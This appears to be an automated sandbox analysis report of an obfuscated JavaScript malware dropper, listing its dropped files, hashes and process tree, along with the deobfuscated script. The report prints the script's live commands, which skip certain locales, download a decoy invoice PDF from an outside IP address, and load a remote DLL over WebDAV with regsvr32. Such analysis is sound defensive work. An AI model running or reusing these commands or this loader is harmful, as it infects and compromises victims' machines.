Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18499), with CRLF line terminators
Entropy (8bit):	4.915292655674598
TrID:
File name:	280109871157958128.js
File size:	21'963 bytes
MD5:	3f6d18ac4fc9ad1d160ba058e289e1bb
SHA1:	34e845c9b86d052a9f49f065053122f741bdef32
SHA256:	04e2d20d7f077c6c815ebcbbf3900909ab4524db35627565e1d2a601f4b1f9ad
SHA512:	84c86b890950093564caa4b312e825510ae94b2f9a0c63968ac8a690ad499d77241c14a1be2e990442a5c326937571ff5ffb86312867b2828df00d1b155027ec
SSDEEP:	192:MOHphaoZVjRAB48m1xMczaZic6PcGLkpxXj8mmOuGxiBYszohw2OSS6Sbd:Pphau201xzI9JykpVaOuGxiBAS6O
TLSH:	19A283D2D2918CF49DC901EA0B0F9A8F0938278C8BA44085E69ED47CB75DE5CE5E31BD
File Content Preview:	function gctldc(){pydtqbjbu=[1031,3079,5127,4103,2055,3072];var ilwkmdr=this[utwcfle+puvezze+wnlqdht+pdxetpye+eaawo+vebviqh+lhefhrj+vruokgu](this[jpkmkq+pmqdyo+qnltxur+wnlqdht+xzyjbykx+utwcfle+vruokgu][fljpg+wnlqdht+eaawo+puvezze+vruokgu+eaawo+opelxcup+ox

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	12:23:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js"
Imagebase:	0x7ff69a2d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:23:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Imagebase:	0x7ff741330000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:23:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:23:49
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:23:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:23:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff741330000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:23:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff741e80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:23:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:23:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:23:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1772,i,10236727431777352891,15663673064347351715,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gctldc() {	gctldc() ➔ undefined
1	pydtqbjbu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ilwkmdr = this[utwcfle + puvezze + wnlqdht + pdxetpye + eaawo + vebviqh + lhefhrj + vruokgu] ( this[jpkmkq + pmqdyo + qnltxur + wnlqdht + xzyjbykx + utwcfle + vruokgu][fljpg + wnlqdht + eaawo + puvezze + vruokgu + eaawo + opelxcup + oxdmt + gmrxmwnbg + eaawo + qnltxur + vruokgu] ( jpkmkq + pmqdyo + qnltxur + wnlqdht + xzyjbykx + utwcfle + vruokgu + oxlmbflz + pmqdyo + hfleceef + eaawo + bdzritbch + bdzritbch ) [wfbssqwz + eaawo + ofhpjjgdw + wfbssqwz + eaawo + puvezze + tsumjora] ( hpzypjff + dfmwsdwbd + cgtwkkixd + ulvuagcv + pmyuck + fljpg + wlsbd + wfbssqwz + wfbssqwz + cgtwkkixd + kjxprel + aejij + pmyuck + wlsbd + pmqdyo + cgtwkkixd + wfbssqwz + khzsvx + fljpg + lahgxxvd + lhefhrj + vruokgu + wnlqdht + lahgxxvd + bdzritbch + lnuwl + eycplfgt + puvezze + lhefhrj + eaawo + bdzritbch + khzsvx + vebviqh + lhefhrj + vruokgu + eaawo + wnlqdht + lhefhrj + puvezze + vruokgu + xzyjbykx + lahgxxvd + lhefhrj + puvezze + bdzritbch + khzsvx + iojabs + lahgxxvd + qnltxur + puvezze + bdzritbch + eaawo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( kzmlh = 0 ; kzmlh < pydtqbjbu[bdzritbch + eaawo + lhefhrj + ofhpjjgdw + vruokgu + hfleceef] ; ++ kzmlh )
4	{
5	if ( ilwkmdr == pydtqbjbu[kzmlh] )
6	{
7	ilwkmdr = true;
8	break ;
9	}
10	}
11	if ( ilwkmdr !== true )
12	this[jpkmkq + pmqdyo + qnltxur + wnlqdht + xzyjbykx + utwcfle + vruokgu][sceff + zgheipvkj + xzyjbykx + vruokgu] ( );
13	this[jpkmkq + pmqdyo + qnltxur + wnlqdht + xzyjbykx + utwcfle + vruokgu][fljpg + wnlqdht + eaawo + puvezze + vruokgu + eaawo + opelxcup + oxdmt + gmrxmwnbg + eaawo + qnltxur + vruokgu] ( jpkmkq + pmqdyo + qnltxur + wnlqdht + xzyjbykx + utwcfle + vruokgu + oxlmbflz + pmqdyo + hfleceef + eaawo + bdzritbch + bdzritbch ) [wnlqdht + zgheipvkj + lhefhrj] ( qnltxur + szmtcv + tsumjora + lnuwl + wazfv + qnltxur + lnuwl + utwcfle + lahgxxvd + loikw + eaawo + wnlqdht + pdxetpye + hfleceef + eaawo + bdzritbch + bdzritbch + oxlmbflz + eaawo + ivkkuqfm + eaawo + lnuwl + lgoprjr + fljpg + lahgxxvd + szmtcv + szmtcv + puvezze + lhefhrj + tsumjora + lnuwl + pqkfohip + vebviqh + lhefhrj + ucoydw + lahgxxvd + fpanyhc + eaawo + lgoprjr + jpkmkq + eaawo + oxdmt + wfbssqwz + eaawo + zzckfjfh + zgheipvkj + eaawo + pdxetpye + vruokgu + lnuwl + lgoprjr + opelxcup + zgheipvkj + vruokgu + nqksk + xzyjbykx + bdzritbch + eaawo + lnuwl + udutmzrc + vruokgu + eaawo + szmtcv + utwcfle + udutmzrc + khzsvx + xzyjbykx + lhefhrj + ucoydw + lahgxxvd + xzyjbykx + qnltxur + eaawo + oxlmbflz + utwcfle + tsumjora + rqlvnpalf + lnuwl + hfleceef + vruokgu + vruokgu + utwcfle + kdbxrjqzv + wazfv + wazfv + vznyvdiz + xfbaiimu + apxixmiuq + oxlmbflz + vznyvdiz + awnpax + apxixmiuq + oxlmbflz + vznyvdiz + oxlmbflz + cmvhl + adysccl + qlnbvhmvg + wazfv + xzyjbykx + lhefhrj + ucoydw + lahgxxvd + xzyjbykx + qnltxur + eaawo + oxlmbflz + utwcfle + hfleceef + utwcfle + pqkfohip + nwwkar + nwwkar + pdxetpye + vruokgu + puvezze + wnlqdht + vruokgu + lnuwl + udutmzrc + vruokgu + eaawo + szmtcv + utwcfle + udutmzrc + khzsvx + xzyjbykx + lhefhrj + ucoydw + lahgxxvd + xzyjbykx + qnltxur + eaawo + oxlmbflz + utwcfle + tsumjora + rqlvnpalf + nwwkar + nwwkar + qnltxur + szmtcv + tsumjora + lnuwl + wazfv + qnltxur + lnuwl + lhefhrj + eaawo + vruokgu + lnuwl + zgheipvkj + pdxetpye + eaawo + lnuwl + khzsvx + khzsvx + vznyvdiz + xfbaiimu + apxixmiuq + oxlmbflz + vznyvdiz + awnpax + apxixmiuq + oxlmbflz + vznyvdiz + oxlmbflz + cmvhl + adysccl + qlnbvhmvg + wgcgy + ctlgvlkkv + ctlgvlkkv + ctlgvlkkv + ctlgvlkkv + khzsvx + tsumjora + puvezze + ucoydw + loikw + loikw + loikw + wnlqdht + lahgxxvd + lahgxxvd + vruokgu + khzsvx + nwwkar + nwwkar + qnltxur + szmtcv + tsumjora + lnuwl + wazfv + qnltxur + lnuwl + wnlqdht + eaawo + ofhpjjgdw + pdxetpye + ucoydw + wnlqdht + apxixmiuq + cmvhl + lnuwl + wazfv + pdxetpye + lnuwl + khzsvx + khzsvx + vznyvdiz + xfbaiimu + apxixmiuq + oxlmbflz + vznyvdiz + awnpax + apxixmiuq + oxlmbflz + vznyvdiz + oxlmbflz + cmvhl + adysccl + qlnbvhmvg + wgcgy + ctlgvlkkv + ctlgvlkkv + ctlgvlkkv + ctlgvlkkv + khzsvx + tsumjora + puvezze + ucoydw + loikw + loikw + loikw + wnlqdht + lahgxxvd + lahgxxvd + vruokgu + khzsvx + cmvhl + awnpax + vznyvdiz + cmvhl + ctlgvlkkv + awnpax + xfbaiimu + ctlgvlkkv + ikbhaklm + xfbaiimu + awnpax + cmvhl + xfbaiimu + oxlmbflz + tsumjora + bdzritbch + bdzritbch, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll",0,false) ➔ 0
14	}
15	kdbxrjqzv = "N";
16	kdbxrjqzv = "I";
17	kdbxrjqzv = "k";
18	kdbxrjqzv = "b";
19	kdbxrjqzv = "U";
20	kdbxrjqzv = "W";
21	kdbxrjqzv = "d";
22	kdbxrjqzv = "A";
23	kdbxrjqzv = "V";
24	kdbxrjqzv = "W";
25	kdbxrjqzv = "q";
26	kdbxrjqzv = "Y";
27	kdbxrjqzv = "K";
28	kdbxrjqzv = "X";
29	kdbxrjqzv = "R";
30	kdbxrjqzv = "w";
31	kdbxrjqzv = "e";
32	kdbxrjqzv = "F";
33	kdbxrjqzv = "r";
34	kdbxrjqzv = "B";
35	kdbxrjqzv = "y";
36	kdbxrjqzv = ":";
37	wnlqdht = "G";
38	wnlqdht = "k";
39	wnlqdht = "V";
40	wnlqdht = "s";
41	wnlqdht = "U";
42	wnlqdht = "k";
43	wnlqdht = "e";
44	wnlqdht = "M";
45	wnlqdht = "H";
46	wnlqdht = "X";
47	wnlqdht = "i";
48	wnlqdht = "s";
49	wnlqdht = "K";
50	wnlqdht = "M";
51	wnlqdht = "o";
52	wnlqdht = "W";
53	wnlqdht = "J";
54	wnlqdht = "s";
55	wnlqdht = "Q";
56	wnlqdht = "E";
57	wnlqdht = "h";
58	wnlqdht = "v";
59	wnlqdht = "X";
60	wnlqdht = "w";
61	wnlqdht = "i";
62	wnlqdht = "x";
63	wnlqdht = "n";
64	wnlqdht = "O";
65	wnlqdht = "i";
66	wnlqdht = "b";
67	wnlqdht = "Q";
68	wnlqdht = "v";
69	wnlqdht = "u";
70	wnlqdht = "r";
71	xfbaiimu = "e";
72	xfbaiimu = "G";
73	xfbaiimu = "m";
74	xfbaiimu = "j";
75	xfbaiimu = "c";
76	xfbaiimu = "y";
77	xfbaiimu = "v";
78	xfbaiimu = "X";
79	xfbaiimu = "A";
80	xfbaiimu = "i";
81	xfbaiimu = "D";
82	xfbaiimu = "A";
83	xfbaiimu = "N";
84	xfbaiimu = "R";
85	xfbaiimu = "O";
86	xfbaiimu = "j";
87	xfbaiimu = "c";
88	xfbaiimu = "O";
89	xfbaiimu = "A";
90	xfbaiimu = "O";
91	xfbaiimu = "h";
92	xfbaiimu = "n";
93	xfbaiimu = "X";
94	xfbaiimu = "u";
95	xfbaiimu = "M";
96	xfbaiimu = "K";
97	xfbaiimu = "P";
98	xfbaiimu = "d";
99	xfbaiimu = "E";
100	xfbaiimu = "h";
101	xfbaiimu = "a";
102	xfbaiimu = "X";
103	xfbaiimu = "u";
104	xfbaiimu = "9";
105	utwcfle = "c";
106	utwcfle = "M";
107	utwcfle = "T";
108	utwcfle = "D";
109	utwcfle = "Q";
110	utwcfle = "R";
111	utwcfle = "i";
112	utwcfle = "E";
113	utwcfle = "V";
114	utwcfle = "V";
115	utwcfle = "L";
116	utwcfle = "d";
117	utwcfle = "r";
118	utwcfle = "h";
119	utwcfle = "E";
120	utwcfle = "D";
121	utwcfle = "l";
122	utwcfle = "o";
123	utwcfle = "n";
124	utwcfle = "L";
125	utwcfle = "k";
126	utwcfle = "U";
127	utwcfle = "p";
128	utwcfle = "b";
129	utwcfle = "n";
130	utwcfle = "T";
131	utwcfle = "t";
132	utwcfle = "P";
133	utwcfle = "w";
134	utwcfle = "T";
135	utwcfle = "t";
136	utwcfle = "a";
137	utwcfle = "D";
138	utwcfle = "A";
139	utwcfle = "Z";
140	utwcfle = "V";
141	utwcfle = "B";
142	utwcfle = "p";
143	eaawo = "N";
144	eaawo = "R";
145	eaawo = "P";
146	eaawo = "G";
147	eaawo = "j";
148	eaawo = "H";
149	eaawo = "p";
150	eaawo = "A";
151	eaawo = "n";
152	eaawo = "D";
153	eaawo = "f";
154	eaawo = "j";
155	eaawo = "c";
156	eaawo = "K";
157	eaawo = "n";
158	eaawo = "e";
159	gmrxmwnbg = "j";
160	gmrxmwnbg = "e";
161	gmrxmwnbg = "g";
162	gmrxmwnbg = "N";
163	gmrxmwnbg = "k";
164	gmrxmwnbg = "H";
165	gmrxmwnbg = "y";
166	gmrxmwnbg = "C";
167	gmrxmwnbg = "j";
168	gmrxmwnbg = "g";
169	gmrxmwnbg = "Z";
170	gmrxmwnbg = "h";
171	gmrxmwnbg = "y";
172	gmrxmwnbg = "h";
173	gmrxmwnbg = "k";
174	gmrxmwnbg = "i";
175	gmrxmwnbg = "A";
176	gmrxmwnbg = "L";
177	gmrxmwnbg = "r";
178	gmrxmwnbg = "M";
179	gmrxmwnbg = "J";
180	gmrxmwnbg = "F";
181	gmrxmwnbg = "x";
182	gmrxmwnbg = "F";
183	gmrxmwnbg = "n";
184	gmrxmwnbg = "o";
185	gmrxmwnbg = "Q";
186	gmrxmwnbg = "C";
187	gmrxmwnbg = "x";
188	gmrxmwnbg = "c";
189	gmrxmwnbg = "q";
190	gmrxmwnbg = "M";
191	gmrxmwnbg = "x";
192	gmrxmwnbg = "r";
193	gmrxmwnbg = "j";
194	cgtwkkixd = "w";
195	cgtwkkixd = "G";
196	cgtwkkixd = "x";
197	cgtwkkixd = "S";
198	cgtwkkixd = "A";
199	cgtwkkixd = "l";
200	cgtwkkixd = "P";
201	cgtwkkixd = "d";
202	cgtwkkixd = "E";
203	zgheipvkj = "O";
204	zgheipvkj = "I";
205	zgheipvkj = "k";
206	zgheipvkj = "L";
207	zgheipvkj = "V";
208	zgheipvkj = "Z";
209	zgheipvkj = "y";
210	zgheipvkj = "l";
211	zgheipvkj = "Z";
212	zgheipvkj = "W";
213	zgheipvkj = "i";
214	zgheipvkj = "d";
215	zgheipvkj = "J";
216	zgheipvkj = "D";
217	zgheipvkj = "a";
218	zgheipvkj = "X";
219	zgheipvkj = "V";
220	zgheipvkj = "F";
221	zgheipvkj = "X";
222	zgheipvkj = "v";
223	zgheipvkj = "q";
224	zgheipvkj = "Q";
225	zgheipvkj = "z";
226	zgheipvkj = "z";
227	zgheipvkj = "B";
228	zgheipvkj = "k";
229	zgheipvkj = "s";
230	zgheipvkj = "A";
231	zgheipvkj = "F";
232	zgheipvkj = "Z";
233	zgheipvkj = "D";
234	zgheipvkj = "m";
235	zgheipvkj = "M";
236	zgheipvkj = "c";
237	zgheipvkj = "b";
238	zgheipvkj = "X";
239	zgheipvkj = "v";
240	zgheipvkj = "y";
241	zgheipvkj = "x";
242	zgheipvkj = "u";
243	zgheipvkj = "s";
244	zgheipvkj = "q";
245	zgheipvkj = "c";
246	zgheipvkj = "u";
247	qnltxur = "x";
248	qnltxur = "G";
249	qnltxur = "r";
250	qnltxur = "F";
251	qnltxur = "S";
252	qnltxur = "Y";
253	qnltxur = "G";
254	qnltxur = "w";
255	qnltxur = "l";
256	qnltxur = "p";
257	qnltxur = "P";
258	qnltxur = "S";
259	qnltxur = "N";
260	qnltxur = "n";
261	qnltxur = "K";
262	qnltxur = "s";
263	qnltxur = "t";
264	qnltxur = "F";
265	qnltxur = "c";
266	qnltxur = "z";
267	qnltxur = "W";
268	qnltxur = "c";
269	lnuwl = "R";
270	lnuwl = "r";
271	lnuwl = "r";
272	lnuwl = "N";
273	lnuwl = "n";
274	lnuwl = "b";
275	lnuwl = "A";
276	lnuwl = " ";
277	jpkmkq = "J";
278	jpkmkq = "f";
279	jpkmkq = "P";
280	jpkmkq = "a";
281	jpkmkq = "w";
282	jpkmkq = "f";
283	jpkmkq = "B";
284	jpkmkq = "z";
285	jpkmkq = "d";
286	jpkmkq = "g";
287	jpkmkq = "k";
288	jpkmkq = "N";
289	jpkmkq = "C";
290	jpkmkq = "p";
291	jpkmkq = "a";
292	jpkmkq = "t";
293	jpkmkq = "Z";
294	jpkmkq = "p";
295	jpkmkq = "s";
296	jpkmkq = "f";
297	jpkmkq = "W";
298	cmvhl = "k";
299	cmvhl = "Z";
300	cmvhl = "r";
301	cmvhl = "p";
302	cmvhl = "Q";
303	cmvhl = "x";
304	cmvhl = "h";
305	cmvhl = "x";
306	cmvhl = "J";
307	cmvhl = "b";
308	cmvhl = "x";
309	cmvhl = "y";
310	cmvhl = "U";
311	cmvhl = "v";
312	cmvhl = "L";
313	cmvhl = "U";
314	cmvhl = "v";
315	cmvhl = "s";
316	cmvhl = "J";
317	cmvhl = "a";
318	cmvhl = "N";
319	cmvhl = "N";
320	cmvhl = "F";
321	cmvhl = "X";
322	cmvhl = "d";
323	cmvhl = "D";
324	cmvhl = "V";
325	cmvhl = "e";
326	cmvhl = "B";
327	cmvhl = "J";
328	cmvhl = "B";
329	cmvhl = "L";
330	cmvhl = "x";
331	cmvhl = "R";
332	cmvhl = "w";
333	cmvhl = "P";
334	cmvhl = "F";
335	cmvhl = "i";
336	cmvhl = "a";
337	cmvhl = "S";
338	cmvhl = "y";
339	cmvhl = "V";
340	cmvhl = "n";
341	cmvhl = "i";
342	cmvhl = "2";
343	vznyvdiz = "D";
344	vznyvdiz = "u";
345	vznyvdiz = "J";
346	vznyvdiz = "p";
347	vznyvdiz = "E";
348	vznyvdiz = "W";
349	vznyvdiz = "r";
350	vznyvdiz = "N";
351	vznyvdiz = "J";
352	vznyvdiz = "g";
353	vznyvdiz = "U";
354	vznyvdiz = "B";
355	vznyvdiz = "O";
356	vznyvdiz = "z";
357	vznyvdiz = "J";
358	vznyvdiz = "E";
359	vznyvdiz = "X";
360	vznyvdiz = "M";
361	vznyvdiz = "T";
362	vznyvdiz = "j";
363	vznyvdiz = "g";
364	vznyvdiz = "h";
365	vznyvdiz = "l";
366	vznyvdiz = "X";
367	vznyvdiz = "g";
368	vznyvdiz = "u";
369	vznyvdiz = "d";
370	vznyvdiz = "u";
371	vznyvdiz = "X";
372	vznyvdiz = "o";
373	vznyvdiz = "p";
374	vznyvdiz = "Y";
375	vznyvdiz = "S";
376	vznyvdiz = "X";
377	vznyvdiz = "g";
378	vznyvdiz = "L";
379	vznyvdiz = "s";
380	vznyvdiz = "A";
381	vznyvdiz = "O";
382	vznyvdiz = "j";
383	vznyvdiz = "Z";
384	vznyvdiz = "F";
385	vznyvdiz = "1";
386	lgoprjr = "-";
387	fljpg = "S";
388	fljpg = "k";
389	fljpg = "O";
390	fljpg = "c";
391	fljpg = "v";
392	fljpg = "J";
393	fljpg = "d";
394	fljpg = "d";
395	fljpg = "o";
396	fljpg = "X";
397	fljpg = "d";
398	fljpg = "W";
399	fljpg = "Y";
400	fljpg = "n";
401	fljpg = "M";
402	fljpg = "E";
403	fljpg = "Z";
404	fljpg = "Z";
